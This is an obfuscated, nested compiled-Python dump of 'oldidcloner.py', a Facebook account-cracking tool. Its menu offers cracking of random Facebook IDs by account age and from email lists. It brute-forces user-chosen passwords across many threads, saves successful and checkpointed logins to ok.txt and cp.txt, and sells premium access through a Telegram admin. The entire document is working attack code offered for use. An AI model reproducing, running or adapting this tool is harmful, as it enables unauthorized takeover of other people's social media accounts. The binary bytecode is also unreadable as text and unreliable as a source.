\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02s\xfb:\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3\t\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02s\x9c:\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3\t\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02s=:\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3\t\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02s\xde9\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3\t\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02s\x7f9\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3\t\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02s 9\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3\t\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02s\xc18\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3\t\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02sb8\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3\t\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02s\x038\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3\t\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02s\xa47\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3\t\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02sE7\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3\t\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02s\xe66\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3\t\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02s\x876\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3\t\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02s(6\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3\t\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02s\xc95\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3\t\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02sj5\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3\t\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02s\x0b5\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3\t\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02s\xac4\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3\t\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02sM4\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\n\x00\x00\x00@\x00\x00\x00\xf3\x17\x02\x00\x00d\x00Z\x00d\x01Z\x01d\x02Z\x02d\x03Z\x03d\x04Z\x04d\x05Z\x05d\x06Z\x06d\x07Z\x07d\x08d\tl\x08Z\x08z\x06d\x08d\tl\tZ\tW\x00n\x12\x04\x00e\ny,\x01\x00\x01\x00\x01\x00e\x0bd\n\x83\x01\x01\x00e\x08\xa0\x0cd\x0b\xa1\x01\x01\x00Y\x00n\x01w\x00z\x06d\x08d\tl\rZ\x0eW\x00n\x12\x04\x00e\nyE\x01\x00\x01\x00\x01\x00e\x0bd\x0c\x83\x01\x01\x00e\x08\xa0\x0cd\r\xa1\x01\x01\x00Y\x00n\x01w\x00d\x08d\tl\x08Z\x08d\x08d\tl\x0fZ\x0fd\x08d\tl\x10Z\x10d\x08d\tl\tZ\td\x08d\tl\x11Z\x11d\x08d\tl\x12Z\x12d\x08d\tl\x13Z\x13d\x08d\tl\x14Z\x14d\x08d\x0el\rm\x15Z\x15\x01\x00d\x0fd\x10\x84\x00Z\x16e\x12\xa0\x17\xa1\x00d\x11\x19\x00Z\x18e\x18Z\x19e\x19\xa0\x1ad\x12\xa1\x01Z\x1be\x13\xa0\x1ce\x1b\xa1\x01Z\x1de\x1d\xa0\x1ed\x12\xa1\x01Z\x1fe\x1f\xa0 \xa1\x00Z!e!\xa0"d\x13d\x14\xa1\x02\xa0"d\x15d\x16\xa1\x02\xa0"d\x17d\x18\xa1\x02\xa0"d\x19d\x1a\xa1\x02\xa0"d\x1bd\x1c\xa1\x02\xa0"d\x1dd\x1e\xa1\x02\xa0"d\x1fd \xa1\x02\xa0"d!d"\xa1\x02\xa0"d#d$\xa1\x02\xa0"d%d\x1d\xa1\x02\xa0"d&d$\xa1\x02Z#G\x00d\'d(\x84\x00d(\x83\x02Z$e%e\x0fj&\x83\x01d\x11k\x02r\xeae\x0fj&d)\x19\x00d*k\x02s\xd5e\x0fj&d)\x19\x00d+k\x02r\xe7e\x0bd,e\x02\x16\x00\x83\x01\x01\x00e\x14\xa0\'g\x00d-\xa2\x01\xa1\x01\x01\x00e(d.\x83\x01\x01\x00n\x03e$\x83\x00\x01\x00z\x06e$\x83\x00\x01\x00W\x00d\tS\x00\x04\x00e)\x90\x01y\n\x01\x00Z*\x01\x00z\re(e+e*\x83\x01\x83\x01\x01\x00W\x00Y\x00d\tZ*[*d\tS\x00d\tZ*[*w\x01w\x00\t\xa9/z\x07\x1b[97;1mz\x07\x1b[91;1mz\x07\x1b[92;1mz\x07\x1b[93;1mz\x07\x1b[94;1mz\x07\x1b[95;1mz\x07\x1b[96;1mz\x04\x1b[0m\xe9\x00\x00\x00\x00Nz2\n [!] \x1b[0;91mREQUESTS MODULE NOT INSTALLED \x1b[0;97mz\x14pip install requestsz1\n [!] \x1b[0;91mFUTURES MODULE NOT INSTALLED \x1b[0;97mz\x13pip install futures)\x01\xda\x12ThreadPoolExecutorc\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x04\x00\x00\x00C\x00\x00\x00s2\x00\x00\x00|\x00d\x01\x17\x00D\x00]\x12}\x01t\x00j\x01\xa0\x02|\x01\xa1\x01\x01\x00t\x00j\x01\xa0\x03\xa1\x00\x01\x00t\x04\xa0\x05d\x02\xa1\x01\x01\x00q\x04d\x00S\x00)\x03N\xda\x01\ng\xb8\x1e\x85\xebQ\xb8\x9e?)\x06\xda\x03sys\xda\x06stdout\xda\x05write\xda\x05flush\xda\x04time\xda\x05sleep)\x02\xda\x01z\xda\x01e\xa9\x00r\x0e\x00\x00\x00\xfa\x0eoldidcloner.py\xda\x03xox#\x00\x00\x00s\n\x00\x00\x00\x0c\x01\x0c\x01\n\x01\x0c\x01\x04\xfdr\x10\x00\x00\x00\xe9\x02\x00\x00\x00\xda\x05ascii\xfa\x01=\xda\x01X\xda\x01A\xda\x013\xda\x01B\xda\x019\xda\x01C\xda\x017\xda\x01D\xda\x011\xda\x01E\xda\x014\xda\x01M\xda\x012\xda\x01L\xda\x016\xda\x01F\xda\x018\xda\x01N\xda\x01Tc\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00@\x00\x00\x00s\\\x00\x00\x00e\x00Z\x01d\x00Z\x02d\x01d\x02\x84\x00Z\x03d\x03d\x04\x84\x00Z\x04d\x05d\x06\x84\x00Z\x05d\x07d\x08\x84\x00Z\x06d\td\n\x84\x00Z\x07d\x0bd\x0c\x84\x00Z\x08d\rd\x0e\x84\x00Z\td\x0fd\x10\x84\x00Z\nd\x11d\x12\x84\x00Z\x0bd\x13d\x14\x84\x00Z\x0cd\x15S\x00)\x16\xda\x04Mainc\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\t\x00\x00\x00\x08\x00\x00\x00C\x00\x00\x00sj\x05\x00\x00g\x00|\x00_\x00g\x00|\x00_\x01g\x00|\x00_\x02d\x01|\x00_\x03z\x0et\x04\xa0\x05d\x02\xa1\x01\xa0\x06\xa1\x00}\x01|\x01d\x03\x19\x00|\x00_\x07W\x00n\x14\x04\x00t\x04j\x08j\ty.\x01\x00\x01\x00\x01\x00t\nd\x04t\x0b\x16\x00\x83\x01\x01\x00t\x0c\x83\x00\x01\x00Y\x00n\x01w\x00z!t\x04\xa0\x05d\x05\xa1\x01j\r}\x02t\x0e|\x02v\x00rEt\x0e}\x03d\x06}\x04d\x07}\x05d\x08}\x06d\t}\x07n\nd\n}\x03d\x0b}\x04d\x0c}\x05d\x0c}\x06d\r}\x07W\x00n\x14\x04\x00t\x04j\x08j\tyd\x01\x00\x01\x00\x01\x00t\nd\x04t\x0b\x16\x00\x83\x01\x01\x00t\x0c\x83\x00\x01\x00Y\x00n\x01w\x00t\x0f\xa0\x10d\x0e\xa1\x01\x01\x00t\nd\x0ft\x11\x17\x00d\x10\x17\x00t\x12\x17\x00d\x11\x17\x00t\x11\x17\x00d\x12\x17\x00t\x12\x17\x00d\x13\x17\x00t\x12\x17\x00d\x14\x17\x00t\x11\x17\x00d\x15\x17\x00t\x11\x17\x00d\x16\x17\x00t\x12\x17\x00d\x17\x17\x00t\x12\x17\x00d\x18\x17\x00t\x11\x17\x00d\x19\x17\x00t\x12\x17\x00d\x1a\x17\x00t\x12\x17\x00d\x1b\x17\x00t\x11\x17\x00d\x1c\x17\x00\x83\x01\x01\x00t\nd\x1dt\x12t\x11t\x12t\x11f\x04\x16\x00\x83\x01\x01\x00t\nd\x1et\x12t\x11t\x12t\x11f\x04\x16\x00\x83\x01\x01\x00t\nd\x1ft\x12t\x11t\x12t\x11|\x00j\x07f\x05\x16\x00\x83\x01\x01\x00t\nd t\x12t\x11t\x12t\x11|\x03f\x05\x16\x00\x83\x01\x01\x00t\nd!t\x12t\x11t\x12|\x04f\x04\x16\x00\x83\x01\x01\x00t\nd"\x83\x01\x01\x00t\nd#t\x13t\x12t\x14f\x03\x16\x00\x83\x01\x01\x00t\nd$t\x13|\x05|\x06f\x03\x16\x00\x83\x01\x01\x00t\nd%t\x13|\x05|\x06f\x03\x16\x00\x83\x01\x01\x00t\nd&t\x13|\x05|\x06f\x03\x16\x00\x83\x01\x01\x00t\nd\'t\x13|\x05|\x06f\x03\x16\x00\x83\x01\x01\x00t\nd(t\x13|\x05|\x06f\x03\x16\x00\x83\x01\x01\x00t\nd)t\x13|\x05|\x06f\x03\x16\x00\x83\x01\x01\x00t\nd*t\x13|\x05|\x06f\x03\x16\x00\x83\x01\x01\x00t\n|\x07\x83\x01\x01\x00t\x15d+t\x14\x16\x00\x83\x01}\x08|\x08d,v\x00\x90\x01r7t\x16\x83\x00\x01\x00d\x00S\x00|\x08d-v\x00\x90\x01rB|\x00\xa0\x17\xa1\x00\x01\x00d\x00S\x00|\x08d.v\x00\x90\x01rrt\x0e|\x02v\x00\x90\x01rR|\x00\xa0\x18\xa1\x00\x01\x00d\x00S\x00t\x19d/\x83\x01\x01\x00t\x19d0\x83\x01\x01\x00t\x19d1t\x11t\x0ef\x02\x16\x00\x83\x01\x01\x00t\x19d2\x83\x01\x01\x00t\x1a\xa0\x1bg\x00d3\xa2\x01\xa1\x01\x01\x00t\x0c\x83\x00\x01\x00d\x00S\x00|\x08d4v\x00\x90\x01r\xa2t\x0e|\x02v\x00\x90\x01r\x82|\x00\xa0\x1c\xa1\x00\x01\x00d\x00S\x00t\x19d/\x83\x01\x01\x00t\x19d0\x83\x01\x01\x00t\x19d1t\x11t\x0ef\x02\x16\x00\x83\x01\x01\x00t\x19d2\x83\x01\x01\x00t\x1a\xa0\x1bg\x00d3\xa2\x01\xa1\x01\x01\x00t\x0c\x83\x00\x01\x00d\x00S\x00|\x08d5v\x00\x90\x01r\xd2t\x0e|\x02v\x00\x90\x01r\xb2|\x00\xa0\x1d\xa1\x00\x01\x00d\x00S\x00t\x19d/\x83\x01\x01\x00t\x19d0\x83\x01\x01\x00t\x19d1t\x11t\x0ef\x02\x16\x00\x83\x01\x01\x00t\x19d2\x83\x01\x01\x00t\x1a\xa0\x1bg\x00d3\xa2\x01\xa1\x01\x01\x00t\x0c\x83\x00\x01\x00d\x00S\x00|\x08d6v\x00\x90\x02r\x02t\x0e|\x02v\x00\x90\x01r\xe2|\x00\xa0\x1e\xa1\x00\x01\x00d\x00S\x00t\x19d/\x83\x01\x01\x00t\x19d0\x83\x01\x01\x00t\x19d1t\x11t\x0ef\x02\x16\x00\x83\x01\x01\x00t\x19d2\x83\x01\x01\x00t\x1a\xa0\x1bg\x00d3\xa2\x01\xa1\x01\x01\x00t\x0c\x83\x00\x01\x00d\x00S\x00|\x08d7v\x00\x90\x02r2t\x0e|\x02v\x00\x90\x02r\x12|\x00\xa0\x1f\xa1\x00\x01\x00d\x00S\x00t\x19d/\x83\x01\x01\x00t\x19d0\x83\x01\x01\x00t\x19d1t\x11t\x0ef\x02\x16\x00\x83\x01\x01\x00t\x19d2\x83\x01\x01\x00t\x1a\xa0\x1bg\x00d3\xa2\x01\xa1\x01\x01\x00t\x0c\x83\x00\x01\x00d\x00S\x00|\x08d8v\x00\x90\x02rbt\x0e|\x02v\x00\x90\x02rB|\x00\xa0 \xa1\x00\x01\x00d\x00S\x00t\x19d/\x83\x01\x01\x00t\x19d0\x83\x01\x01\x00t\x19d1t\x11t\x0ef\x02\x16\x00\x83\x01\x01\x00t\x19d2\x83\x01\x01\x00t\x1a\xa0\x1bg\x00d3\xa2\x01\xa1\x01\x01\x00t\x0c\x83\x00\x01\x00d\x00S\x00|\x08d9v\x00\x90\x02r\x92t\x0e|\x02v\x00\x90\x02rr|\x00\xa0!\xa1\x00\x01\x00d\x00S\x00t\x19d/\x83\x01\x01\x00t\x19d0\x83\x01\x01\x00t\x19d1t\x11t\x0ef\x02\x16\x00\x83\x01\x01\x00t\x19d2\x83\x01\x01\x00t\x1a\xa0\x1bg\x00d3\xa2\x01\xa1\x01\x01\x00t\x0c\x83\x00\x01\x00d\x00S\x00|\x08d:v\x00\x90\x02r\xb0t\x19d;t\x12t\x11t\x0ef\x03\x16\x00\x83\x01\x01\x00t\x19d<\x83\x01\x01\x00t\x1a\xa0\x1bg\x00d3\xa2\x01\xa1\x01\x01\x00t\x0c\x83\x00\x01\x00d\x00S\x00t\x16\x83\x00\x01\x00d\x00S\x00)=Nr\x03\x00\x00\x00z\x1ahttps://www.httpbin.org/ip\xda\x06originz!\n%s [!] NO INTERNET CONNECTION..\nz@https://raw.githubusercontent.com/Azim-vau/MODULES/main/keys.txtz\x11\x1b[0;92mPREMIUM :)z\x07\x1b[0;93mz\x07\x1b[0;92m\xfa\x01\rz\t\x1b[0;91m -z\x15\x1b[0;91mNOT PREMIUM :(z\x07\x1b[0;90mz\x17\x1b[0;92m [P] GET PREMIUM\xda\x05clearz\x02\n\nu\\\x01\x00\x00 \xe2\x96\x84\xe2\x96\x84\xe2\x96\x84 \xe2\x96\x92\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x92 \xe2\x96\x88\xe2\x96\x88\xe2\x96\x93 \xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x84 \xe2\x96\x84\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x93\n \xe2\x96\x92\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x84 \xe2\x96\x92 \xe2\x96\x92 \xe2\x96\x92 \xe2\x96\x84\xe2\x96\x80\xe2\x96\x91\xe2\x96\x93\xe2\x96\x88\xe2\x96\x88\xe2\x96\x92\xe2\x96\x93\xe2\x96\x88\xe2\x96\x88\xe2\x96\x92\xe2\x96\x80\xe2\x96\x88\xe2\x96\x80 \xe2\x96\x88\xe2\x96\x88\xe2\x96\x92\n \xe2\x96\x92\xe2\x96\x88\xe2\x96\x88 \xe2\x96\x80\xe2\x96\x88\xe2\x96\x84 \xe2\x96\x91 \xe2\x96\x92 \xe2\x96\x84\xe2\x96\x80\xe2\x96\x92\xe2\x96\x91 \xe2\x96\x92\xe2\x96\x88\xe2\x96\x88\xe2\x96\x92\xe2\x96\x93\xe2\x96\x88\xe2\x96\x88 \xe2\x96\x93\xe2\x96\x88\xe2\x96\x88\xe2\x96\x91\n \xe2\x96\x91\xe2\x96\x88\xe2\x96\x88\xe2\x96\x84\xe2\x96\x84\xe2\x96\x84\xe2\x96\x84\xe2\x96\x88\xe2\x96\x88 \xe2\x96\x84\xe2\x96\x80\xe2\x96\x92 \xe2\x96\x91\xe2\x96\x91\xe2\x96\x88\xe2\x96\x88\xe2\x96\x91\xe2\x96\x92\xe2\x96\x88\xe2\x96\x88 \xe2\x96\x92\xe2\x96\x88\xe2\x96\x88 \nu\x8d\x01\x00\x00 \xe2\x96\x93\xe2\x96\x88 \xe2\x96\x93\xe2\x96\x88\xe2\x96\x88\xe2\x96\x92\xe2\x96\x92\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x92\xe2\x96\x91\xe2\x96\x88\xe2\x96\x88\xe2\x96\x91\xe2\x96\x92\xe2\x96\x88\xe2\x96\x88\xe2\x96\x92 \xe2\x96\x91\xe2\x96\x88\xe2\x96\x88\xe2\x96\x92\n \xe2\x96\x92\xe2\x96\x92 \xe2\x96\x93\xe2\x96\x92\xe2\x96\x88\xe2\x96\x91\xe2\x96\x91\xe2\x96\x92\xe2\x96\x92 \xe2\x96\x93\xe2\x96\x91\xe2\x96\x92\xe2\x96\x91\xe2\x96\x92\xe2\x96\x91\xe2\x96\x93 \xe2\x96\x91 \xe2\x96\x92\xe2\x96\x91 \xe2\x96\x91 \xe2\x96\x91\n \xe2\x96\x92 \xe2\x96\x92\xe2\x96\x92 \xe2\x96\x91\xe2\x96\x91\xe2\x96\x91\xe2\x96\x92 \xe2\x96\x92 \xe2\x96\x91 \xe2\x96\x92 \xe2\x96\x92 \xe2\x96\x91\xe2\x96\x91 \xe2\x96\x91 \xe2\x96\x91\n \xe2\x96\x91 \xe2\x96\x92 \xe2\x96\x91 \xe2\x96\x91 \xe2\x96\x91 \xe2\x96\x91 \xe2\x96\x91 \xe2\x96\x92 \xe2\x96\x91\xe2\x96\x91 \xe2\x96\x91 \n \xe2\x96\x91 \xe2\x96\x91 \xe2\x96\x91 \xe2\x96\x91 \xe2\x96\x91 \xe2\x96\x91 \n \xe2\x96\x91 \n\nu\x8d\x00\x00\x00 \xe2\x95\x94\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x97\n \xe2\x95\x91z\x0c Author :z\x1f Mahmud Azim u\x04\x00\x00\x00\xe2\x95\x91\nu\x04\x00\x00\x00 \xe2\x95\x91z\x0c Github :z\x1f https://github.com/Azim-vau u\x13\x00\x00\x00\xe2\x95\x91 \n \xe2\x95\x91z\r Fb : z\x1dhttps://me.fb/azimvau69 u\x99\x00\x00\x00 \xe2\x95\x91 \n \xe2\x95\x9a\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x9d\nz&%s [%s*%s] TOOL NAME : %sOLD-ID-CLONERz\x1c%s [%s*%s] VERSION : %s1.0z\x1b%s [%s*%s] YOUR IP : %s%sz\x1b%s [%s*%s] YOUR KEY : %s%sz\x19%s [%s*%s] STATUS : %s\xda\x00z,%s [1]%s CRACK RANDOM FB ID 2012-16 %s(FREE)z+%s [2]%s CRACK RANDOM FB ID 2008-11 %s(PRO)z+%s [3]%s CRACK RANDOM FB ID 2009-10 %s(PRO)z3%s [4]%s CRACK RANDOM FB ID 2004-9 SUPER %s(PRO) V1z3%s [5]%s CRACK RANDOM FB ID 2004-9 SUPER %s(PRO) V2z3%s [6]%s CRACK RANDOM FB ID 2004-9 SUPER %s(PRO) V3z3%s [7]%s CRACK RANDOM FB ID 2004-9 SUPER %s(PRO) V5z"%s [8]%s CRACK FROM EMAILS %s(PRO)z\x11\n%s [?] CHOICE : )\x02r+\x00\x00\x00\xfa\x01 )\x02r\x1c\x00\x00\x00Z\x0201)\x02r \x00\x00\x00Z\x0202z"\n\x1b[0;91m YOU ARE NOT PREMIUM USER z(\x1b[0;91m FIRST BUY PREMIUM KEY FROM ADMINz&\x1b[0;93m SEND THIS KEY TO ADMIN >> %s%sz\'\x1b[0;92m ADMIN TELEGRAM ID >> @azimvau69)\x03\xda\x02am\xda\x05startz\x16https://t.me/Azimvau69)\x02r\x16\x00\x00\x00Z\x0203)\x02r\x1e\x00\x00\x00Z\x0204)\x02\xda\x015Z\x0205)\x02r"\x00\x00\x00Z\x0206)\x02r\x1a\x00\x00\x00Z\x0207)\x02r$\x00\x00\x00Z\x0208)\x04\xda\x01P\xda\x01pr\x18\x00\x00\x00Z\x0209zM\n%s PLEASE CHAT ADMIN TO BUY LICENSE!\n !DON\'T FORGET TO SEND THIS KEY => %s%sz\'\x1b[0;96m ADMIN TELEGRAM ID >> @azimvau69)"\xda\x02id\xda\x02ok\xda\x02cp\xda\x04loop\xda\x08requests\xda\x03get\xda\x04jsonZ\x03ips\xda\nexceptions\xda\x0fConnectionError\xda\x05print\xda\x01R\xda\x04exit\xda\x04text\xda\tbasesplit\xda\x02os\xda\x06system\xda\x01G\xda\x01Yr\x19\x00\x00\x00r\x17\x00\x00\x00\xda\x05inputr\'\x00\x00\x00\xda\x08old12_16\xda\x05fbtuar\x10\x00\x00\x00\xda\nsubprocess\xda\x0ccheck_output\xda\x05old_9\xda\x06old4_8\xda\x06old4_7\xda\x06old4_6\xda\x06old4_5\xda\x05email)\t\xda\x04selfZ\x03ipmZ\x03plr\xda\x03key\xda\x04statZ\x02FYZ\x02FGZ\x03GETZ\x05tanyar\x0e\x00\x00\x00r\x0e\x00\x00\x00r\x0f\x00\x00\x00\xda\x08__init__3\x00\x00\x00s\xf0\x00\x00\x00\x06\x01\x06\x01\x06\x01\x06\x01\x02\x01\x0e\x01\x0e\x01\x10\x01\x0c\x01\n\x01\x02\xfe\x02\x03\x0c\x01\x08\x01\x04\x01\x04\x01\x04\x01\x04\x01\x06\x01\x04\x02\x04\x01\x04\x01\x04\x01\x04\x01\x04\x80\x10\x01\x0c\x01\n\x01\x02\xfe\n\x03p\x01\x14\x01\x14\x01\x18\x01\x16\x01\x14\x01\x08\x01\x12\x01\x12\x01\x12\x01\x12\x01\x12\x01\x12\x01\x12\x01\x12\x01\x08\x01\x0c\x01\n\x01\n\x01\n\x01\x0c\x01\n\x01\n\x01\x0c\x01\x08\x02\x08\x01\x10\x01\x08\x01\x0e\x01\n\x01\n\x01\n\x01\x0c\x01\x08\x02\x08\x01\x10\x01\x08\x01\x0e\x01\n\x01\n\x01\n\x01\x0c\x01\x08\x02\x08\x01\x10\x01\x08\x01\x0e\x01\n\x01\n\x01\n\x01\x0c\x01\x08\x02\x08\x01\x10\x01\x08\x01\x0e\x01\n\x01\n\x01\n\x01\x0c\x01\x08\x02\x08\x01\x10\x01\x08\x01\x0e\x01\n\x01\n\x01\n\x01\x0c\x01\x08\x02\x08\x01\x10\x01\x08\x01\x0e\x01\n\x01\n\x01\n\x01\x0c\x01\x08\x02\x08\x01\x10\x01\x08\x01\x0e\x01\n\x01\n\x01\x12\x01\x08\x01\x0e\x01\n\x01\n\x02z\rMain.__init__c\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0c\x00\x00\x00\n\x00\x00\x00C\x00\x00\x00s\x88\x01\x00\x00d\x01}\x01d\x02}\x02d\x03}\x03t\x00t\x01d\x04\x83\x01\x83\x01}\x04|\x04d\x05k\x04r\x19t\x02d\x06t\x03t\x04t\x05f\x03\x16\x00\x83\x01\x01\x00z\x91t\x06|\x04\x83\x01D\x00]\x14}\x05t\x07\xa0\x08|\x01|\x02\xa1\x02}\x06|\x03}\x07|\x00j\t\xa0\n|\x07t\x0b|\x06\x83\x01\x17\x00\xa1\x01\x01\x00q\x1et\x0cd\x07t\r|\x00j\t\x83\x01\x16\x00\x83\x01\x01\x00t\x0ed\x08d\t\x8d\x01\x8fY}\x08t\x0cd\nt\x04t\x05t\x0ft\x04f\x04\x16\x00\x83\x01\x01\x00t\x0cd\x0bt\x04t\x05f\x02\x16\x00\x83\x01\x01\x00t\x01d\x0ct\x04t\x05f\x02\x16\x00\x83\x01}\tt\r|\t\x83\x01d\rk\x01rht\x02d\x0et\x03\x16\x00\x83\x01\x01\x00t\x0cd\x0ft\x04|\tf\x02\x16\x00\x83\x01\x01\x00t\x0cd\x10t\x05\x16\x00\x83\x01\x01\x00t\x0cd\x11t\x04\x16\x00\x83\x01\x01\x00t\x0cd\x12t\x03\x16\x00\x83\x01\x01\x00|\x00j\tD\x00]\r}\n|\x08\xa0\x10|\x00j\x11|\n|\t\xa0\x12d\x13\xa1\x01\xa1\x03\x01\x00q\x85W\x00d\x00\x04\x00\x04\x00\x83\x03\x01\x00n\x081\x00s\x9dw\x01\x01\x00\x01\x00\x01\x00Y\x00\x01\x00t\x02d\x14t\x05\x16\x00\x83\x01\x01\x00W\x00d\x00S\x00\x04\x00t\x13y\xc3\x01\x00}\x0b\x01\x00z\rt\x02t\x0b|\x0b\x83\x01\x83\x01\x01\x00W\x00Y\x00d\x00}\x0b~\x0bd\x00S\x00d\x00}\x0b~\x0bw\x01w\x00)\x15Ni\xc75:Bl\x03\x00\x00\x00\xffc\x17(\t\x00Z\x0510000z2\x1b[0;92m [+] ENTER LIMIT \x1b[0;91m(4000 MAX): \x1b[0;92mi\xa0\x0f\x00\x00zf\n%s [!] DON\'T CROSS THE LIMIT BRO :)\n%s BUY PREMIUM KEY FROM ADMIN \n%s ADMIN TELEGRAM ID >> @azimvau69\xfa(\x1b[0;93m [+] TOTAL ID -> \x1b[0;91m%s\x1b[0;97m\xe9\x1e\x00\x00\x00\xa9\x01Z\x0bmax_workers\xfa*\n%s [!] USE %s, %s(COMMA)%s FOR SEPARATOR \xfa\'%s EXAMPLE : %s123456,1234567,123456789\xfa\x1a%s [?] ENTER PASSWORD :%s \xe9\x05\x00\x00\x00\xfa%\n%s [!] PASSWORD MINIMUM 6 CHARACTERS\xfa0%s [*] CRACK WITH PASSWORD -> [\x1b[0;91m%s\x1b[0;93m]\xfa%\n%s [+] OK RESULTS SAVED IN -> ok.txt\xfa$%s [+] CP RESULTS SAVED IN -> cp.txt\xfa8%s [!] IF NO RESULT TURN ON AIRPLANE MODE 5 